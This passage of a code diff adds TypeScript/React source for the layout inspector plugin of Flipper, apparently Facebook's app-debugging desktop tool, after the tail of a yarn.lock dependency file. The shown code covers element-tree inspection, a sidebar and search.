raf "^3.4.0"
|
||||
react-transition-group "^2.5.0"
|
||||
|
||||
react-transition-group@^2.5.0:
|
||||
version "2.9.0"
|
||||
resolved "https://registry.yarnpkg.com/react-transition-group/-/react-transition-group-2.9.0.tgz#df9cdb025796211151a436c69a8f3b97b5b07c8d"
|
||||
integrity sha512-+HzNTCHpeQyl4MJ/bdE0u6XRMe9+XG/+aL4mCxVN4DnPBQ0/5bfHWPDuOZUzYdMj94daZaZdCCc1Dzt9R/xSSg==
|
||||
dependencies:
|
||||
dom-helpers "^3.4.0"
|
||||
loose-envify "^1.4.0"
|
||||
prop-types "^15.6.2"
|
||||
react-lifecycles-compat "^3.0.4"
|
||||
|
||||
recharts-scale@^0.4.2:
|
||||
version "0.4.2"
|
||||
resolved "https://registry.yarnpkg.com/recharts-scale/-/recharts-scale-0.4.2.tgz#b66315d985cd9b80d5f7d977a5aab9a305abc354"
|
||||
integrity sha512-p/cKt7j17D1CImLgX2f5+6IXLbRHGUQkogIp06VUoci/XkhOQiGSzUrsD1uRmiI7jha4u8XNFOjkHkzzBPivMg==
|
||||
dependencies:
|
||||
decimal.js-light "^2.4.1"
|
||||
|
||||
recharts@1.7.1:
|
||||
version "1.7.1"
|
||||
resolved "https://registry.yarnpkg.com/recharts/-/recharts-1.7.1.tgz#bed7c9427fa0049090447070af185557f5569b06"
|
||||
integrity sha512-i4vK/ZSICr+dXGmaijuNybc+xhctiX0464xnqauY+OvE6WvU5v+0GYciQvD/HJSObkKG4wY8aRtiuUL9YtXnHQ==
|
||||
dependencies:
|
||||
classnames "^2.2.5"
|
||||
core-js "^2.5.1"
|
||||
d3-interpolate "^1.3.0"
|
||||
d3-scale "^2.1.0"
|
||||
d3-shape "^1.2.0"
|
||||
lodash "^4.17.5"
|
||||
prop-types "^15.6.0"
|
||||
react-resize-detector "^2.3.0"
|
||||
react-smooth "^1.0.0"
|
||||
recharts-scale "^0.4.2"
|
||||
reduce-css-calc "^1.3.0"
|
||||
|
||||
reduce-css-calc@^1.3.0:
|
||||
version "1.3.0"
|
||||
resolved "https://registry.yarnpkg.com/reduce-css-calc/-/reduce-css-calc-1.3.0.tgz#747c914e049614a4c9cfbba629871ad1d2927716"
|
||||
integrity sha1-dHyRTgSWFKTJz7umKYca0dKSdxY=
|
||||
dependencies:
|
||||
balanced-match "^0.4.2"
|
||||
math-expression-evaluator "^1.2.14"
|
||||
reduce-function-call "^1.0.1"
|
||||
|
||||
reduce-function-call@^1.0.1:
|
||||
version "1.0.2"
|
||||
resolved "https://registry.yarnpkg.com/reduce-function-call/-/reduce-function-call-1.0.2.tgz#5a200bf92e0e37751752fe45b0ab330fd4b6be99"
|
||||
integrity sha1-WiAL+S4ON3UXUv5FsKszD9S2vpk=
|
||||
dependencies:
|
||||
balanced-match "^0.4.2"
|
||||
|
||||
regenerator-runtime@^0.13.2:
|
||||
version "0.13.3"
|
||||
resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.3.tgz#7cf6a77d8f5c6f60eb73c5fc1955b2ceb01e6bf5"
|
||||
integrity sha512-naKIZz2GQ8JWh///G7L3X6LaQUAMp2lvb1rvwwsURe/VXwD6VMfr+/1NuNw3ag8v2kY1aQ/go5SNn79O9JU7yw==
|
||||
|
||||
resize-observer-polyfill@^1.5.0:
|
||||
version "1.5.1"
|
||||
resolved "https://registry.yarnpkg.com/resize-observer-polyfill/-/resize-observer-polyfill-1.5.1.tgz#0e9020dd3d21024458d4ebd27e23e40269810464"
|
||||
integrity sha512-LwZrotdHOo12nQuZlHEmtuXdqGoOD0OhaxopaNFxWzInpEgaLWoVuAMbTzixuosCx2nEG58ngzW3vxdWoxIgdg==
|
||||
343
desktop/plugins/layout/Inspector.tsx
Normal file
343
desktop/plugins/layout/Inspector.tsx
Normal file
@@ -0,0 +1,343 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {
|
||||
ElementID,
|
||||
Element,
|
||||
PluginClient,
|
||||
ElementsInspector,
|
||||
ElementSearchResultSet,
|
||||
} from 'flipper';
|
||||
import {Component} from 'react';
|
||||
import debounce from 'lodash.debounce';
|
||||
import {PersistedState, ElementMap} from './';
|
||||
import React from 'react';
|
||||
|
||||
type GetNodesOptions = {
|
||||
force?: boolean;
|
||||
ax?: boolean;
|
||||
forAccessibilityEvent?: boolean;
|
||||
};
|
||||
|
||||
type Props = {
|
||||
ax?: boolean;
|
||||
client: PluginClient;
|
||||
showsSidebar: boolean;
|
||||
inAlignmentMode?: boolean;
|
||||
selectedElement: ElementID | null | undefined;
|
||||
selectedAXElement: ElementID | null | undefined;
|
||||
onSelect: (ids: ElementID | null | undefined) => void;
|
||||
onDataValueChanged: (path: Array<string>, value: any) => void;
|
||||
setPersistedState: (state: Partial<PersistedState>) => void;
|
||||
persistedState: PersistedState;
|
||||
searchResults: ElementSearchResultSet | null;
|
||||
};
|
||||
|
||||
export default class Inspector extends Component<Props> {
|
||||
call() {
|
||||
return {
|
||||
GET_ROOT: this.props.ax ? 'getAXRoot' : 'getRoot',
|
||||
INVALIDATE: this.props.ax ? 'invalidateAX' : 'invalidate',
|
||||
GET_NODES: this.props.ax ? 'getAXNodes' : 'getNodes',
|
||||
SET_HIGHLIGHTED: 'setHighlighted',
|
||||
SELECT: this.props.ax ? 'selectAX' : 'select',
|
||||
INVALIDATE_WITH_DATA: this.props.ax
|
||||
? 'invalidateWithDataAX'
|
||||
: 'invalidateWithData',
|
||||
};
|
||||
}
|
||||
|
||||
selected = () => {
|
||||
return this.props.ax
|
||||
? this.props.selectedAXElement
|
||||
: this.props.selectedElement;
|
||||
};
|
||||
|
||||
root = () => {
|
||||
return this.props.ax
|
||||
? this.props.persistedState.rootAXElement
|
||||
: this.props.persistedState.rootElement;
|
||||
};
|
||||
|
||||
elements = () => {
|
||||
return this.props.ax
|
||||
? this.props.persistedState.AXelements
|
||||
: this.props.persistedState.elements;
|
||||
};
|
||||
|
||||
focused = () => {
|
||||
if (!this.props.ax) {
|
||||
return null;
|
||||
}
|
||||
const elements: Array<Element> = Object.values(
|
||||
this.props.persistedState.AXelements,
|
||||
);
|
||||
const focusedElement = elements.find(i =>
|
||||
Boolean(
|
||||
i.data.Accessibility && i.data.Accessibility['accessibility-focused'],
|
||||
),
|
||||
);
|
||||
return focusedElement ? focusedElement.id : null;
|
||||
};
|
||||
|
||||
getAXContextMenuExtensions = () =>
|
||||
this.props.ax
|
||||
? [
|
||||
{
|
||||
label: 'Focus',
|
||||
click: (id: ElementID) => {
|
||||
this.props.client.call('onRequestAXFocus', {id});
|
||||
},
|
||||
},
|
||||
]
|
||||
: [];
|
||||
|
||||
componentDidMount() {
|
||||
this.props.client.call(this.call().GET_ROOT).then((root: Element) => {
|
||||
this.props.setPersistedState({
|
||||
[this.props.ax ? 'rootAXElement' : 'rootElement']: root.id,
|
||||
});
|
||||
this.updateElement(root.id, {...root, expanded: true});
|
||||
this.performInitialExpand(root);
|
||||
});
|
||||
|
||||
this.props.client.subscribe(
|
||||
this.call().INVALIDATE,
|
||||
({
|
||||
nodes,
|
||||
}: {
|
||||
nodes: Array<{id: ElementID; children: Array<ElementID>}>;
|
||||
}) => {
|
||||
const ids = nodes
|
||||
.map(n => [n.id, ...(n.children || [])])
|
||||
.reduce((acc, cv) => acc.concat(cv), []);
|
||||
this.invalidate(ids);
|
||||
},
|
||||
);
|
||||
|
||||
this.props.client.subscribe(
|
||||
this.call().INVALIDATE_WITH_DATA,
|
||||
(obj: {nodes: Array<Element>}) => {
|
||||
const {nodes} = obj;
|
||||
this.invalidateWithData(nodes);
|
||||
},
|
||||
);
|
||||
|
||||
this.props.client.subscribe(
|
||||
this.call().SELECT,
|
||||
({path}: {path: Array<ElementID>}) => {
|
||||
this.getAndExpandPath(path);
|
||||
},
|
||||
);
|
||||
|
||||
if (this.props.ax) {
|
||||
this.props.client.subscribe('axFocusEvent', () => {
|
||||
// update all nodes, to find new focused node
|
||||
this.getNodes(Object.keys(this.props.persistedState.AXelements), {
|
||||
force: true,
|
||||
ax: true,
|
||||
});
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
componentDidUpdate(prevProps: Props) {
|
||||
const {ax, selectedElement, selectedAXElement} = this.props;
|
||||
|
||||
if (
|
||||
ax &&
|
||||
selectedElement &&
|
||||
selectedElement !== prevProps.selectedElement
|
||||
) {
|
||||
// selected element in non-AX tree changed, find linked element in AX tree
|
||||
const newlySelectedElem = this.props.persistedState.elements[
|
||||
selectedElement
|
||||
];
|
||||
if (newlySelectedElem) {
|
||||
this.props.onSelect(
|
||||
newlySelectedElem.extraInfo
|
||||
? newlySelectedElem.extraInfo.linkedNode
|
||||
: null,
|
||||
);
|
||||
}
|
||||
} else if (
|
||||
!ax &&
|
||||
selectedAXElement &&
|
||||
selectedAXElement !== prevProps.selectedAXElement
|
||||
) {
|
||||
// selected element in AX tree changed, find linked element in non-AX tree
|
||||
const newlySelectedAXElem = this.props.persistedState.AXelements[
|
||||
selectedAXElement
|
||||
];
|
||||
if (newlySelectedAXElem) {
|
||||
this.props.onSelect(
|
||||
newlySelectedAXElem.extraInfo
|
||||
? newlySelectedAXElem.extraInfo.linkedNode
|
||||
: null,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
invalidateWithData(elements: Array<Element>): void {
|
||||
if (elements.length === 0) {
|
||||
return;
|
||||
}
|
||||
const updatedElements: ElementMap = elements.reduce(
|
||||
(acc: ElementMap, element: Element) => {
|
||||
acc[element.id] = {
|
||||
...element,
|
||||
expanded: this.elements()[element.id]
|
||||
? this.elements()[element.id].expanded
|
||||
: false,
|
||||
};
|
||||
return acc;
|
||||
},
|
||||
{},
|
||||
);
|
||||
this.props.setPersistedState({
|
||||
[this.props.ax ? 'AXelements' : 'elements']: {
|
||||
...this.elements(),
|
||||
...updatedElements,
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
async invalidate(ids: Array<ElementID>): Promise<Array<Element>> {
|
||||
if (ids.length === 0) {
|
||||
return Promise.resolve([]);
|
||||
}
|
||||
const elements = await this.getNodes(ids, {});
|
||||
const children = elements
|
||||
.filter(
|
||||
(element: Element) =>
|
||||
this.elements()[element.id] && this.elements()[element.id].expanded,
|
||||
)
|
||||
.map((element: Element) => element.children)
|
||||
.reduce((acc, val) => acc.concat(val), []);
|
||||
return this.invalidate(children);
|
||||
}
|
||||
|
||||
updateElement(id: ElementID, data: Object) {
|
||||
this.props.setPersistedState({
|
||||
[this.props.ax ? 'AXelements' : 'elements']: {
|
||||
...this.elements(),
|
||||
[id]: {
|
||||
...this.elements()[id],
|
||||
...data,
|
||||
},
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
// When opening the inspector for the first time, expand all elements that
|
||||
// contain only 1 child recursively.
|
||||
async performInitialExpand(element: Element): Promise<void> {
|
||||
if (!element.children.length) {
|
||||
// element has no children so we're as deep as we can be
|
||||
return;
|
||||
}
|
||||
return this.getChildren(element.id, {}).then(() => {
|
||||
if (element.children.length >= 2) {
|
||||
// element has two or more children so we can stop expanding
|
||||
return;
|
||||
}
|
||||
return this.performInitialExpand(this.elements()[element.children[0]]);
|
||||
});
|
||||
}
|
||||
|
||||
async getChildren(
|
||||
id: ElementID,
|
||||
options: GetNodesOptions,
|
||||
): Promise<Array<Element>> {
|
||||
if (!this.elements()[id]) {
|
||||
await this.getNodes([id], options);
|
||||
}
|
||||
this.updateElement(id, {expanded: true});
|
||||
return this.getNodes(this.elements()[id].children, options);
|
||||
}
|
||||
|
||||
async getNodes(
|
||||
ids: Array<ElementID> = [],
|
||||
options: GetNodesOptions,
|
||||
): Promise<Array<Element>> {
|
||||
if (ids.length > 0) {
|
||||
const {forAccessibilityEvent} = options;
|
||||
const {
|
||||
elements,
|
||||
}: {elements: Array<Element>} = await this.props.client.call(
|
||||
this.call().GET_NODES,
|
||||
{
|
||||
ids,
|
||||
forAccessibilityEvent,
|
||||
selected: false,
|
||||
},
|
||||
);
|
||||
elements.forEach(e => this.updateElement(e.id, e));
|
||||
return elements;
|
||||
} else {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
async getAndExpandPath(path: Array<ElementID>) {
|
||||
await Promise.all(path.map(id => this.getChildren(id, {})));
|
||||
this.onElementSelected(path[path.length - 1]);
|
||||
}
|
||||
|
||||
onElementSelected = debounce((selectedKey: ElementID) => {
|
||||
this.onElementHovered(selectedKey);
|
||||
this.props.onSelect(selectedKey);
|
||||
});
|
||||
|
||||
onElementHovered = debounce((key: ElementID | null | undefined) => {
|
||||
this.props.client.call(this.call().SET_HIGHLIGHTED, {
|
||||
id: key,
|
||||
isAlignmentMode: this.props.inAlignmentMode,
|
||||
});
|
||||
});
|
||||
|
||||
onElementExpanded = (
|
||||
id: ElementID,
|
||||
deep: boolean,
|
||||
forceExpand: boolean = false,
|
||||
) => {
|
||||
const shouldExpand = forceExpand || !this.elements()[id].expanded;
|
||||
if (shouldExpand) {
|
||||
this.updateElement(id, {expanded: shouldExpand});
|
||||
}
|
||||
this.getChildren(id, {}).then(children => {
|
||||
if (deep) {
|
||||
children.forEach(child =>
|
||||
this.onElementExpanded(child.id, deep, shouldExpand),
|
||||
);
|
||||
}
|
||||
});
|
||||
if (!shouldExpand) {
|
||||
this.updateElement(id, {expanded: shouldExpand});
|
||||
}
|
||||
};
|
||||
|
||||
render() {
|
||||
return this.root() ? (
|
||||
<ElementsInspector
|
||||
onElementSelected={this.onElementSelected}
|
||||
onElementHovered={this.onElementHovered}
|
||||
onElementExpanded={this.onElementExpanded}
|
||||
onValueChanged={this.props.onDataValueChanged}
|
||||
searchResults={this.props.searchResults}
|
||||
selected={this.selected()}
|
||||
root={this.root()}
|
||||
elements={this.elements()}
|
||||
focused={this.focused()}
|
||||
contextMenuExtensions={this.getAXContextMenuExtensions()}
|
||||
/>
|
||||
) : null;
|
||||
}
|
||||
}
|
||||
175
desktop/plugins/layout/InspectorSidebar.tsx
Normal file
175
desktop/plugins/layout/InspectorSidebar.tsx
Normal file
@@ -0,0 +1,175 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {
|
||||
ManagedDataInspector,
|
||||
Panel,
|
||||
FlexCenter,
|
||||
styled,
|
||||
colors,
|
||||
PluginClient,
|
||||
SidebarExtensions,
|
||||
Element,
|
||||
Client,
|
||||
Logger,
|
||||
} from 'flipper';
|
||||
import {Component} from 'react';
|
||||
import deepEqual from 'deep-equal';
|
||||
import React from 'react';
|
||||
import {useMemo, useEffect} from 'react';
|
||||
import {kebabCase} from 'lodash';
|
||||
|
||||
const NoData = styled(FlexCenter)({
|
||||
fontSize: 18,
|
||||
color: colors.macOSTitleBarIcon,
|
||||
});
|
||||
|
||||
type OnValueChanged = (path: Array<string>, val: any) => void;
|
||||
|
||||
type InspectorSidebarSectionProps = {
|
||||
data: any;
|
||||
id: string;
|
||||
onValueChanged: OnValueChanged | null;
|
||||
tooltips?: Object;
|
||||
};
|
||||
|
||||
class InspectorSidebarSection extends Component<InspectorSidebarSectionProps> {
|
||||
setValue = (path: Array<string>, value: any) => {
|
||||
if (this.props.onValueChanged) {
|
||||
this.props.onValueChanged([this.props.id, ...path], value);
|
||||
}
|
||||
};
|
||||
|
||||
shouldComponentUpdate(nextProps: InspectorSidebarSectionProps) {
|
||||
return (
|
||||
!deepEqual(nextProps, this.props) ||
|
||||
this.props.id !== nextProps.id ||
|
||||
this.props.onValueChanged !== nextProps.onValueChanged
|
||||
);
|
||||
}
|
||||
|
||||
extractValue = (val: any, _depth: number) => {
|
||||
if (val && val.__type__) {
|
||||
return {
|
||||
mutable: Boolean(val.__mutable__),
|
||||
type: val.__type__ === 'auto' ? typeof val.value : val.__type__,
|
||||
value: val.value,
|
||||
};
|
||||
} else {
|
||||
return {
|
||||
mutable: typeof val === 'object',
|
||||
type: typeof val,
|
||||
value: val,
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
render() {
|
||||
const {id} = this.props;
|
||||
return (
|
||||
<Panel heading={id} floating={false} grow={false}>
|
||||
<ManagedDataInspector
|
||||
data={this.props.data}
|
||||
setValue={this.props.onValueChanged ? this.setValue : undefined}
|
||||
extractValue={this.extractValue}
|
||||
expandRoot={true}
|
||||
collapsed={true}
|
||||
tooltips={this.props.tooltips}
|
||||
/>
|
||||
</Panel>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
type Props = {
|
||||
element: Element | null;
|
||||
tooltips?: Object;
|
||||
onValueChanged: OnValueChanged | null;
|
||||
client: PluginClient;
|
||||
realClient: Client;
|
||||
logger: Logger;
|
||||
};
|
||||
|
||||
const Sidebar: React.FC<Props> = (props: Props) => {
|
||||
const {element} = props;
|
||||
if (!element || !element.data) {
|
||||
return <NoData grow>No data</NoData>;
|
||||
}
|
||||
|
||||
const [sectionDefs, sectionKeys] = useMemo(() => {
|
||||
const sectionKeys = [];
|
||||
const sectionDefs = [];
|
||||
|
||||
for (const key in element.data) {
|
||||
if (key === 'Extra Sections') {
|
||||
for (const extraSection in element.data[key]) {
|
||||
const section = element.data[key][extraSection];
|
||||
let data = {};
|
||||
|
||||
// data might be sent as stringified JSON, we want to parse it for a nicer persentation.
|
||||
if (typeof section === 'string') {
|
||||
try {
|
||||
data = JSON.parse(section);
|
||||
} catch (e) {
|
||||
// data was not a valid JSON, type is required to be an object
|
||||
console.error(
|
||||
`ElementsInspector unable to parse extra section: ${extraSection}`,
|
||||
);
|
||||
data = {};
|
||||
}
|
||||
} else {
|
||||
data = section;
|
||||
}
|
||||
sectionKeys.push(kebabCase(extraSection));
|
||||
sectionDefs.push({
|
||||
key: extraSection,
|
||||
id: extraSection,
|
||||
data: data,
|
||||
});
|
||||
}
|
||||
} else {
|
||||
sectionKeys.push(kebabCase(key));
|
||||
sectionDefs.push({
|
||||
key,
|
||||
id: key,
|
||||
data: element.data[key],
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return [sectionDefs, sectionKeys];
|
||||
}, [props.element]);
|
||||
|
||||
const sections: Array<React.ReactNode> = (
|
||||
(SidebarExtensions &&
|
||||
SidebarExtensions.map(ext =>
|
||||
ext(props.client, props.realClient, element.id, props.logger),
|
||||
)) ||
|
||||
[]
|
||||
).concat(
|
||||
sectionDefs.map(def => (
|
||||
<InspectorSidebarSection
|
||||
tooltips={props.tooltips}
|
||||
key={def.key}
|
||||
id={def.id}
|
||||
data={def.data}
|
||||
onValueChanged={props.onValueChanged}
|
||||
/>
|
||||
)),
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
sectionKeys.map(key =>
|
||||
props.logger.track('usage', `layout-sidebar-extension:${key}:loaded`),
|
||||
);
|
||||
}, [props.element?.data]);
|
||||
return <>{sections}</>;
|
||||
};
|
||||
|
||||
export default Sidebar;
|
||||
194
desktop/plugins/layout/ProxyArchiveClient.tsx
Normal file
194
desktop/plugins/layout/ProxyArchiveClient.tsx
Normal file
@@ -0,0 +1,194 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Element} from 'flipper';
|
||||
import {PersistedState} from './index';
|
||||
import {SearchResultTree} from './Search';
|
||||
import cloneDeep from 'lodash.clonedeep';
|
||||
|
||||
const propsForPersistedState = (
|
||||
AXMode: boolean,
|
||||
): {
|
||||
ROOT: 'rootAXElement' | 'rootElement';
|
||||
ELEMENTS: 'AXelements' | 'elements';
|
||||
ELEMENT: 'axElement' | 'element';
|
||||
} => {
|
||||
return {
|
||||
ROOT: AXMode ? 'rootAXElement' : 'rootElement',
|
||||
ELEMENTS: AXMode ? 'AXelements' : 'elements',
|
||||
ELEMENT: AXMode ? 'axElement' : 'element',
|
||||
};
|
||||
};
|
||||
|
||||
function constructSearchResultTree(
|
||||
node: Element,
|
||||
isMatch: boolean,
|
||||
children: Array<SearchResultTree>,
|
||||
_AXMode: boolean,
|
||||
AXNode: Element | null,
|
||||
): SearchResultTree {
|
||||
const searchResult = {
|
||||
id: node.id,
|
||||
isMatch,
|
||||
hasChildren: children.length > 0,
|
||||
children: children.length > 0 ? children : [],
|
||||
element: node,
|
||||
axElement: AXNode,
|
||||
};
|
||||
return searchResult;
|
||||
}
|
||||
|
||||
function isMatch(element: Element, query: string): boolean {
|
||||
const nameMatch = element.name.toLowerCase().includes(query.toLowerCase());
|
||||
return nameMatch || element.id === query;
|
||||
}
|
||||
|
||||
export function searchNodes(
|
||||
node: Element,
|
||||
query: string,
|
||||
AXMode: boolean,
|
||||
state: PersistedState,
|
||||
): SearchResultTree | null {
|
||||
// Even if the axMode is true, we will have to search the normal elements too.
|
||||
// The AXEelements will automatically populated in constructSearchResultTree
|
||||
const elements = state[propsForPersistedState(false).ELEMENTS];
|
||||
const children: Array<SearchResultTree> = [];
|
||||
const match = isMatch(node, query);
|
||||
|
||||
for (const childID of node.children) {
|
||||
const child = elements[childID];
|
||||
const tree = searchNodes(child, query, AXMode, state);
|
||||
if (tree) {
|
||||
children.push(tree);
|
||||
}
|
||||
}
|
||||
|
||||
if (match || children.length > 0) {
|
||||
return cloneDeep(
|
||||
constructSearchResultTree(
|
||||
node,
|
||||
match,
|
||||
children,
|
||||
AXMode,
|
||||
AXMode ? state.AXelements[node.id] : null,
|
||||
),
|
||||
);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
class ProxyArchiveClient {
|
||||
constructor(
|
||||
persistedState: PersistedState,
|
||||
onElementHighlighted?: (id: string) => void,
|
||||
) {
|
||||
this.persistedState = cloneDeep(persistedState);
|
||||
this.onElementHighlighted = onElementHighlighted;
|
||||
}
|
||||
persistedState: PersistedState;
|
||||
onElementHighlighted: ((id: string) => void) | undefined;
|
||||
subscribe(_method: string, _callback: (params: any) => void): void {
|
||||
return;
|
||||
}
|
||||
|
||||
supportsMethod(_method: string): Promise<boolean> {
|
||||
return Promise.resolve(false);
|
||||
}
|
||||
|
||||
send(_method: string, _params?: Object): void {
|
||||
return;
|
||||
}
|
||||
|
||||
call(method: string, paramaters?: {[key: string]: any}): Promise<any> {
|
||||
switch (method) {
|
||||
case 'getRoot': {
|
||||
const {rootElement} = this.persistedState;
|
||||
if (!rootElement) {
|
||||
return Promise.resolve(null);
|
||||
}
|
||||
return Promise.resolve(this.persistedState.elements[rootElement]);
|
||||
}
|
||||
case 'getAXRoot': {
|
||||
const {rootAXElement} = this.persistedState;
|
||||
if (!rootAXElement) {
|
||||
return Promise.resolve(null);
|
||||
}
|
||||
return Promise.resolve(this.persistedState.AXelements[rootAXElement]);
|
||||
}
|
||||
case 'getNodes': {
|
||||
if (!paramaters) {
|
||||
return Promise.reject(new Error('Called getNodes with no params'));
|
||||
}
|
||||
const {ids} = paramaters;
|
||||
const arr: Array<Element> = [];
|
||||
for (const id of ids) {
|
||||
arr.push(this.persistedState.elements[id]);
|
||||
}
|
||||
return Promise.resolve({elements: arr});
|
||||
}
|
||||
case 'getAXNodes': {
|
||||
if (!paramaters) {
|
||||
return Promise.reject(new Error('Called getAXNodes with no params'));
|
||||
}
|
||||
const {ids} = paramaters;
|
||||
const arr: Array<Element> = [];
|
||||
for (const id of ids) {
|
||||
arr.push(this.persistedState.AXelements[id]);
|
||||
}
|
||||
return Promise.resolve({elements: arr});
|
||||
}
|
||||
case 'getSearchResults': {
|
||||
const {rootElement, rootAXElement} = this.persistedState;
|
||||
|
||||
if (!paramaters) {
|
||||
return Promise.reject(
|
||||
new Error('Called getSearchResults with no params'),
|
||||
);
|
||||
}
|
||||
const {query, axEnabled} = paramaters;
|
||||
if (!query) {
|
||||
return Promise.reject(
|
||||
new Error('query is not passed as a params to getSearchResults'),
|
||||
);
|
||||
}
|
||||
let element: Element;
|
||||
if (axEnabled) {
|
||||
if (!rootAXElement) {
|
||||
return Promise.reject(new Error('rootAXElement is undefined'));
|
||||
}
|
||||
element = this.persistedState.AXelements[rootAXElement];
|
||||
} else {
|
||||
if (!rootElement) {
|
||||
return Promise.reject(new Error('rootElement is undefined'));
|
||||
}
|
||||
element = this.persistedState.elements[rootElement];
|
||||
}
|
||||
const output = searchNodes(
|
||||
element,
|
||||
query,
|
||||
axEnabled,
|
||||
this.persistedState,
|
||||
);
|
||||
return Promise.resolve({results: output, query});
|
||||
}
|
||||
case 'isConsoleEnabled': {
|
||||
return Promise.resolve(false);
|
||||
}
|
||||
case 'setHighlighted': {
|
||||
const id = paramaters?.id;
|
||||
this.onElementHighlighted && this.onElementHighlighted(id);
|
||||
return Promise.resolve();
|
||||
}
|
||||
default: {
|
||||
return Promise.resolve();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
export default ProxyArchiveClient;
|
||||
211
desktop/plugins/layout/Search.tsx
Normal file
211
desktop/plugins/layout/Search.tsx
Normal file
@@ -0,0 +1,211 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {PersistedState, ElementMap} from './';
|
||||
import {
|
||||
PluginClient,
|
||||
ElementSearchResultSet,
|
||||
Element,
|
||||
SearchInput,
|
||||
SearchBox,
|
||||
SearchIcon,
|
||||
LoadingIndicator,
|
||||
styled,
|
||||
colors,
|
||||
} from 'flipper';
|
||||
import {Component} from 'react';
|
||||
import React from 'react';
|
||||
|
||||
export type SearchResultTree = {
|
||||
id: string;
|
||||
isMatch: boolean;
|
||||
hasChildren: boolean;
|
||||
children: Array<SearchResultTree>;
|
||||
element: Element;
|
||||
axElement: Element | null; // Not supported in iOS
|
||||
};
|
||||
|
||||
type Props = {
|
||||
client: PluginClient;
|
||||
inAXMode: boolean;
|
||||
onSearchResults: (searchResults: ElementSearchResultSet) => void;
|
||||
setPersistedState: (state: Partial<PersistedState>) => void;
|
||||
persistedState: PersistedState;
|
||||
initialQuery: string | null;
|
||||
};
|
||||
|
||||
type State = {
|
||||
value: string;
|
||||
outstandingSearchQuery: string | null;
|
||||
};
|
||||
|
||||
const LoadingSpinner = styled(LoadingIndicator)({
|
||||
marginRight: 4,
|
||||
marginLeft: 3,
|
||||
marginTop: -1,
|
||||
});
|
||||
|
||||
export default class Search extends Component<Props, State> {
|
||||
state = {
|
||||
value: '',
|
||||
outstandingSearchQuery: null,
|
||||
};
|
||||
|
||||
timer: NodeJS.Timeout | undefined;
|
||||
|
||||
onChange = (e: React.ChangeEvent<HTMLInputElement>) => {
|
||||
if (this.timer) {
|
||||
clearTimeout(this.timer);
|
||||
}
|
||||
const {value} = e.target;
|
||||
this.setState({value});
|
||||
this.timer = setTimeout(() => this.performSearch(value), 200);
|
||||
};
|
||||
|
||||
onKeyDown = (e: React.KeyboardEvent) => {
|
||||
if (e.key === 'Enter') {
|
||||
this.performSearch(this.state.value);
|
||||
}
|
||||
};
|
||||
|
||||
componentDidMount() {
|
||||
if (this.props.initialQuery) {
|
||||
const queryString = this.props.initialQuery
|
||||
? this.props.initialQuery
|
||||
: '';
|
||||
if (this.timer) {
|
||||
clearTimeout(this.timer);
|
||||
}
|
||||
this.timer = setTimeout(() => this.performSearch(queryString), 200);
|
||||
}
|
||||
}
|
||||
|
||||
performSearch(query: string) {
|
||||
this.setState({
|
||||
outstandingSearchQuery: query,
|
||||
});
|
||||
|
||||
if (!query) {
|
||||
this.displaySearchResults(
|
||||
{query: '', results: null},
|
||||
this.props.inAXMode,
|
||||
);
|
||||
} else {
|
||||
this.props.client
|
||||
.call('getSearchResults', {query, axEnabled: this.props.inAXMode})
|
||||
.then(response =>
|
||||
this.displaySearchResults(response, this.props.inAXMode),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
displaySearchResults(
|
||||
{
|
||||
results,
|
||||
query,
|
||||
}: {
|
||||
results: SearchResultTree | null;
|
||||
query: string;
|
||||
},
|
||||
axMode: boolean,
|
||||
) {
|
||||
this.setState({
|
||||
outstandingSearchQuery:
|
||||
query === this.state.outstandingSearchQuery
|
||||
? null
|
||||
: this.state.outstandingSearchQuery,
|
||||
});
|
||||
|
||||
const searchResults = this.getElementsFromSearchResultTree(results);
|
||||
const searchResultIDs = new Set(searchResults.map(r => r.element.id));
|
||||
const elements: ElementMap = searchResults.reduce(
|
||||
(acc: ElementMap, {element}: SearchResultTree) => ({
|
||||
...acc,
|
||||
[element.id]: {
|
||||
...element,
|
||||
// expand all search results, that we have have children for
|
||||
expanded: element.children.some(c => searchResultIDs.has(c)),
|
||||
},
|
||||
}),
|
||||
this.props.persistedState.elements,
|
||||
);
|
||||
|
||||
let {AXelements} = this.props.persistedState;
|
||||
if (axMode) {
|
||||
AXelements = searchResults.reduce(
|
||||
(acc: ElementMap, {axElement}: SearchResultTree) => {
|
||||
if (!axElement) {
|
||||
return acc;
|
||||
}
|
||||
return {
|
||||
...acc,
|
||||
[axElement.id]: {
|
||||
...axElement,
|
||||
// expand all search results, that we have have children for
|
||||
expanded: axElement.children.some(c => searchResultIDs.has(c)),
|
||||
},
|
||||
};
|
||||
},
|
||||
this.props.persistedState.AXelements,
|
||||
);
|
||||
}
|
||||
|
||||
this.props.setPersistedState({elements, AXelements});
|
||||
|
||||
this.props.onSearchResults({
|
||||
matches: new Set(
|
||||
